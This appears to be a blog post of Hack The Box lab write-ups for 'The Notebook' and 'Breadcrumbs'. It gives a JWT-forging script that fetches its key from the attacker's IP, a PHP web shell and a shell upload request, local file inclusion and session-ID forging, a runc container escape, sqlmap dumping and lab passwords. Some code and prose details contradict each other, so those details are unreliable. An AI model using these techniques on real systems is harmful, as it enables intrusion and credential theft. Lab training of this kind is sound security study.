I started a python server, pasted the JWT in my web browser’s auth cookie field and refreshed the page.

And I got a hit on my python http server!

Now, the picture is clear.

The parameter that controls the authenticity of the JWT and the parameter that controls the administrator privilege is user controllable. So, we have to generate an RSA key named privKey.key, create a custom JWT token signed by our privKey.key file, with admin_cap set to 0.

Crafting custom JWT token

Let’s generate a private key using ssh-keygen and openssl. Source.

ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key

To generate public key, we can use the following command. But, that isn’t required in our case.

# Given the name of private key is `privkey.key`
openssl rsa -in privKey.key -pubout -outform PEM -out privKey.key.pub

Now, that we have the privKey.key file ready, we can use this file to generate our required token.

I made a small python script to do this.

#!/usr/bin/python3

import jwt
from cryptography.hazmat.primitives import serialization

with open("privKey.key", "rb") as key_file:
    private_key = serialization.load_pem_private_key(
    key_file.read(),
    password=None,
    backend=default_backend()
    )
encoded = jwt.encode({"username":"secnigma","email":"secnigma@test.com","admin_cap":"1"}, private_key, algorithm="RS256", headers={"kid":"http://10.10.14.37/privKey.key"},)

print(encoded)

And it generated the JWT token gracefully!

I copied the token and pasted it in the web browser’s auth cookie field.

Then, I started a python web server and refreshed the web browser.

Got a hit!

And I was in!

Hacker GIFs | Tenor

Once I was logged in, I looked around and the admin page had some clues in the /notes page.

Clue #1
Clue #2

Clue #2 is to look after gaining the initial shell. So, let’s focus on Clue #1 at the moment.

The /admin directory had an Upload File button.

So, I uploaded a PHP reverse shell to it and it was uploaded successfully and showed me a View button.

So, I started a nc listener and clicked View.

And I got a shell back as www-data.

Logging in as Noah

Clue #2 suggested something about backups. So, if we look at /var/backups, then we can see a home.tar.gz file.

If we extract that, we will get the backup of user noah‘s home directory. Inside that, we can find the SSH keys.

So, I used the following command to login as Noah using the private key.

ssh -i id_rsa noah@10.10.10.230

And I was in as Noah!

Privilege Escalation

Running sudo -l as noah shows that he can run a docker container named webapp-dev01.

So, I ran the following command to log into the docker container.

sudo /usr/bin/docker exec -it webapp-dev01 bash

We are root inside the container and I could some some python web app files.

This was the source code of The Notebook program and the file named create_db.py contained SHA265 hashes for users admin and noah.

I tried to crack it with Hashcat, but it didn’t cracked.

So, I moved on to enumerate inside the docker container.

I ran docker enum script deepce, but didn’t find anything interesting, except that the docker container had some capabilities.

I tried out some exploits according to the capabilities, but they didn’t worked.

So, I exited the container and checked the docker version using the following command.

docker -v
The docker version is 18.06.0-ce

I looked vulnerabilities for the docker version and found that this version of docker was affected by a runc container escape vulnerability (CVE-2019-5736).

runC as explained by docker.com is a lightweight, portable container runtime. It includes all of the plumbing code used by Docker to interact with system features related to containers.

I knew about this vulnerability, but didn’t got a chance to exploit it. Well now’s my time.

This exploit code is written in go and we have to compile it and transfer the static binary to the container.

The exploit works by overwriting and executing the host systems runc binary from within the container.

It achieves this by overwriting /bin/sh in the container with #!/proc/self/exe which will point to the binary that started this process (the Docker exec/runcinit). After that, the script can then proceed to write to the target of /proc/self/exe to try and overwrite the runc binary on the host. More info from here.

This exploit will wait for some one to execute docker exec /bin/sh and when that happens, this will trigger the exploit which will allow code execution as root in the host machine.

The side effect of this exploit is that we are overwriting our implementation of runc which will ensure our system will no longer be able to run Docker containers. So, in real life cases, backup the runc file (either /usr/bin/docker-runc or /usr/bin/runc) before using this exploit.

I cloned the repo andedited the payload to netcat traditional payload.

Then I compiled the exploit by using the following command.

go build main.go

Then I moved the binary to the docker container and ran the binary.

Then on a different SSH session, I issued the following command since, we have overwritten the /bin/sh binary.

sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

The exploit binary detected this.

And I got a root shell back!

Yup. W00t!

Postlude

And that was The Notebook!

This was a great box and I’ve learned several things from this box.

Kudos to mostwanted002 for creating this box!

Peace out! ✌️

Hack The Box: Breadcrumbs

Prelude

Breadcrumbs is a hard box from Hack The Box, developed by helich0pper. This was actually an incredible box and I really liked this machine, even though it is my first hard machine from HTB.

The vulnerabilities used in this machine are simple and exploiting them individually is relatively straight forward. However, the machine is rated hard because there are several small vulnerabilities and we have to craft an exploit chain by combining the exploits for all of the small vulnerabilities to gain the initial foothold.

Gaining initial foothold was the hardest part because of the exploit chain and some weird behavior of the web application during file upload. Because of that, I was stuck there for a good amount of time. Rooting was relatively straight forward than the initial foothold process.

This machine emphasizes the importance of strong enumeration skills and I really enjoyed solving this box.

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with an Nmap scan.

nmap -sCV -v -oA nmap/tcp 10.10.10.228

And I got the result as shown below.

Nmap scan report for 10.10.10.228
Host is up (0.052s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3306/tcp open  mysql?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

There are quite a lot ports open and I decided to go with SMB first. I loked for NULL/Guest authentications and found nothing.

So, I decided to focus on port 80. I went to http://10.10.10.228/ and found the following page, which was a webapp for a Library.

I started BurpSuite in the background and started looking around the page to build a Site Map of the target.

There was a Check books function and with that we can search the books in the library.

We couldn’t book the books, as the functionality was disabled.

So, I started gobuster and found out a login portal http://10.10.10.228/portal/login.php.

Since I didn’t had credentials to the web site yet, I created an account and I was able to login to the page, even though the login page said my IP is restricted.

There were four functions inside the home page after login. They were check taks, order pizza, user management and file management.

If we clicked on Check Tasks, we could view the current list of isses that are being resolved.

http://10.10.10.228/portal/php/issues.php

These issues contain some nudges for gaining the initial foothold and for privilege escalation.

If we go to User Management, we can see the current list of users.

Also, I could see the list and online status of admins by going to http://10.10.10.228/portal/php/admins.php.

There are three admins online

The functions Order Pizza and File Management was disabled for me. When clicking Order Pizza, it showed an error message. But, clicking the File Management showed a weird behavior. It showed a quick redirect to home page when clicked.

When looked at burp, I could see the file upload page when requesting http://10.10.10.228/portal/php/files.php.

This is happening because the page is unauthorized for me to view and it is getting redirecting to home page. [ Explained Later ]

So, I Inspected the page and found out that the file upload in the page is disabled.

This means that there is no controller page to submit this information to and we need to find the corresponding controller page to fix this.

So, I looked around BurpSuite to find the site map of the target and found two things.

  • The site have Indexing enabled
  • Book searching is calling a controller called bookController.php
Location of bookController.php

So, I navigated to http://10.10.10.228/includes/ in the hope of finding a fileController.php page, but found that there’s only the bookController.php page and a footer page.

Bummer. No fileController here!  😢 

So, I decided to check /portal/includes as the login page is located under /portal. So, I navigated to http://10.10.10.228/portal/includes/ and found it!

So, I started another gobuster inside /portal directory and found an /portal/uploads directory.

Neat!

Now, I have the file uploader form, fileController.php file location and the location of uploads.

The next thing to do would be to fix the file upload form and upload the file to it.

Before doing that, I decided to test the fileController.php by passing it the parameters it would be expecting from the file upload page.

So, I sent it a sample request with the following POST variables.

task=test&file=shell.php

And I got the following error.

So, that means we can’t just fix the file upload form and upload files to it. We need to be the right user to do it.

So, I decided to move on from this for now.

I then looked at the request passing to bookController.php and found that it passes the a POST variable method=1 along the name of the book.

I smell LFI!

Remember in the /portal/php/issues.php page, there was an issue that said ‘Store book information in database‘ . So, let’s test the LFI by trying to include other pages.

I first tried to request a file that doesn’t exist in the target. It errored out and revealed the exact request it is using to fetch the book html page.

The page goes into /books directory, where the book*.html file is stored by using the back one directory symbol (../). This means that we can possibly use this to include any files from the target.

So, I tried to include the fileController.php page using the following request.

POST /includes/bookController.php HTTP/1.1

Host: 10.10.10.228

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 26

Origin: http://10.10.10.228

Connection: close

Referer: http://10.10.10.228/php/books.php



method=1&book=../portal/includes/filecontroller.php

And I got the output!

Note: Make sure the Content-Length is of the right size. If the Content-Length header is set to a value that is over the actual sending size, then the request will timeout and if the Content-Length header is set to a value that is undersized, then the file name we are requesting will be truncated.

I saved the output to a file. The file contents were passed through the htmlspecialchars() PHP function, so there were so much escape back slashes in place and the multiline contents were converted into a single line using the \r\n characters.

So, as a quick cleanup, I replaced \r\n with \n in text editor (gedit).

And I got the contents in pretty format.

Note: Don’t forget to remove the unwanted backslashes (\) just like this.

Right off the bat, I found that the file contained the JWT token secret. So, this might be about crafting custom JWT token to spoof the identity of an admin.

I have discussed about JWT in detail in the writeup of Tenet.

Further inspection of the file showed that, inorder for the file upload to work, it required two conditions.

  • The JWT must contain the username paul
  • The $_SESSION['username'] variable must contain the name paul

So, to upload file to the target, we have to login as paul.

Crafting JWT and SESSION ID of Paul

I had the secret to craft JWT, so it wasn’t an issue. However, setting the $_SESSION['username'] as paul is still unknown for me.

So, I started dumping other files like /portal/login.php, /portal/authcontroller.php and /portal/cookie.php.

From /portal/authcontroller.php , I found out that, $_SESSION['username'] is set when a user logs in. So, we either need the credentials of the user paul or we need his valid SESSION ID to upload files.

From /portal/cookie.php, I found out the SESSION generation function and found that due to the weak SESSION ID generation function, the randomness of the SESSION ID is weak.

The session ID generation function does the following things to create the SESSION ID:

  • Selects a random letter from $_SESSION['username']
  • Sets the key by placing the random letter in the middle of two predefined strings “s4lTystR1nG” and “(!528./9890” . That is, key = “s4lTystR1nG“+ RandomLetter_From _Username+ “(!528./9890
  • Then the function generates the MD5 sum of the key and appends the hash to the username of the logged in user.

And that’s the SESSION ID generation function.

This means the randomness is as limited as the length of the username. Since, paul is a short name, there is scope for only 4 random SESSION IDs.

This means that we can generate the possible SESSION IDs of paul and hijack his SESSION!

If you remember from above, we know that Paul is already active in the portal and all we need to do is to generate his JWT and SESSION ID.

So, I decoded my current JWT using CyberChef and found the JWT format.

Then I created a python script to generate paul‘s JWT from the secret we got earlier.

#!/usr/bin/python3
import jwt
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

encoded = jwt.encode({"data":{"username":"paul"}}, key ='6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e' , algorithm="HS256" )
print(encoded)

And I got the valid JWT of paul.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

I then copied the SESSION ID generation function and created a simple PHP script to generate paul‘s SESSION ID.

<?php
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);
    return $session_cookie;
}
$name="paul";
$session_id=makesession($name);
echo $session_id;

And ran it with the following command.

php session.php

With some trial and error, I found the valid SESSION ID of paul as below.

paul47200b180ccd6835d25d034eeb6e6390

Then I went to /portal/index.php and logged in with the account I signed up for earlier. After that, I changed the JWT and the PHPSESSIONID cookies inside the browser.

And I was in as Paul!

Uploading WebShell as Paul

Once I was logged in as Paul, I clicked the File Management section and the page was opened!

I dumped the http://10.10.10.228/portal/php/files.php file and looked at the source code to find how this happened and found the following block.This means that. if the variable $_SESSION['username'] is not set as paul, then the page will redirect to the home page.

Best Head Nod GIFs | Gfycat
Ohhh! That’s why!

So, I uploaded a simple PHP reverse shell script to it.

<?php system($_GET['cmd']); ?>

But, got the following error.

This is happening due to two things:

  1. The uploader doesn’t like the function [ i.e, system() function ] in the PHP file.
  2. Like I mentioned above, this could also be an issue of the wrong Content-Length header.

I swapped the system with exec , corrected the Content-Length header and uploaded the file and got the following message.

I then requested the following URL and got code execution. http://10.10.10.228/portal/uploads/test2.php?cmd=whoami

Sweet!

But. this doesn’t have multiline output and error display. So, I used a modified version of artyumm’s php web shell file and used exec() instead of system().

Contents of modified PHP Web Shell can be found from here.

Then I requested the following to upload the Web shell to the target.

POST /portal/includes/fileController.php HTTP/1.1
Host: 10.10.10.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1699192761835623413801827088
Content-Length: 2959
Origin: http://10.10.10.228
Connection: close
Referer: http://10.10.10.228/portal/php/files.php
Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

-----------------------------1699192761835623413801827088
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<!-- CONTENTS OF PHP-WEBSHELL-HERE-->


-----------------------------1699192761835623413801827088
Content-Disposition: form-data; name="task"

test2.php
-----------------------------1699192761835623413801827088--

And I got a more flexible web shell with multiline output and error display.

Privilege Escalation #1

I first tried to get an actual reverse shell back using Nishang Invoke-PowerShellTcpOneLine.ps1, but AMSI blocked my attempt.

So, I used an obfuscated version of reverse shell code from Ivan Sincek’s github repo and got a shell back!

Pro Tip #1: For a much more stable shell, we can create a folder .ssh at www-data’s home directory and write an authorized_keys file there, since the target has OpenSSH server running.

Once, I was in he box, I looked around the directories and found a file juliette.json with credentials to Juliette at C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData.

Note: We can also use findstr; windows equivalent of grep to search a string through files.

findstr /s /C:"juliette" *.*

I tried the password jUli901./())! in SSH and I was in as Juliette!

Privilege Escalation #2

There was a todo.html file at Juliette’s Desktop.

It mentioned that there were plaintext passwords stored in Microsoft Sticky Notes application.

I googled a little and found the location of Sticky Notes database as C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite.

But, there were different files at the location and plum.sqlite was empty.

With some trial and error, I found that the database I was looking for is plum.sqlite-wal and it was partially corrupted.

So, I opened the file in terminal and got the password for user development as fN3)sN5Ee@g.

And using that password, I SSH-ed in as development.

Privilege Escalation #3

There were a directory C:\Development, which contained a Linux binary named Krypter_Linux.

So, I moved the file to my Kali box and ran it.

I then used strings tool to find the strings in the binary and found the following.

So, as the message suggests, the binary is requesting a password from http://passmanager.htb:1234 and decrypts it.

1234 is a port that was listening to 127.0.0.1 connections only. So, I forwarded the port using SSH Local port forwarding.

Pro Tip #2 : Press Shift + ~ +c (~C) while inside an SSH shell to enter SSH commands like port forwarding on the fly.

Also, the binary was requesting a URL http://passmanager.htb:1234 with some GET parameters.

So, I copied the parametrs and requested the following URL in BurpSuite .

http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords

And I got the following output.

That was an AES Key. So, we have the means to decrypt the administrator password. Now what we need is the AES encrypted key.

I smell SQL injection!

So, I saved the request to a file and used SQLMAP to dump the table using the following command.

sqlmap -r aes.req --dump

And I got the encrypted administrator password as H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=.

I then used this online tool to decrypt the AES key.

And got the decrypted password as p@ssw0rd!@#$9890./

I used these credentials into SSH and I got in as Administrator!

Mccreery GIFs - Get the best GIF on GIPHY
w00t!

Postlude

Aaaand that was Breadcrumbs!

This was as enjoyable as a treasure hunt and I thoroughly enjoyed following the breadcrumbs. 😄

Kudos to helich0pper for creating such a cool box!

Massive thanks to KouroshRZ and Sikom for nudging me when I was stuck.

Peace out! ✌️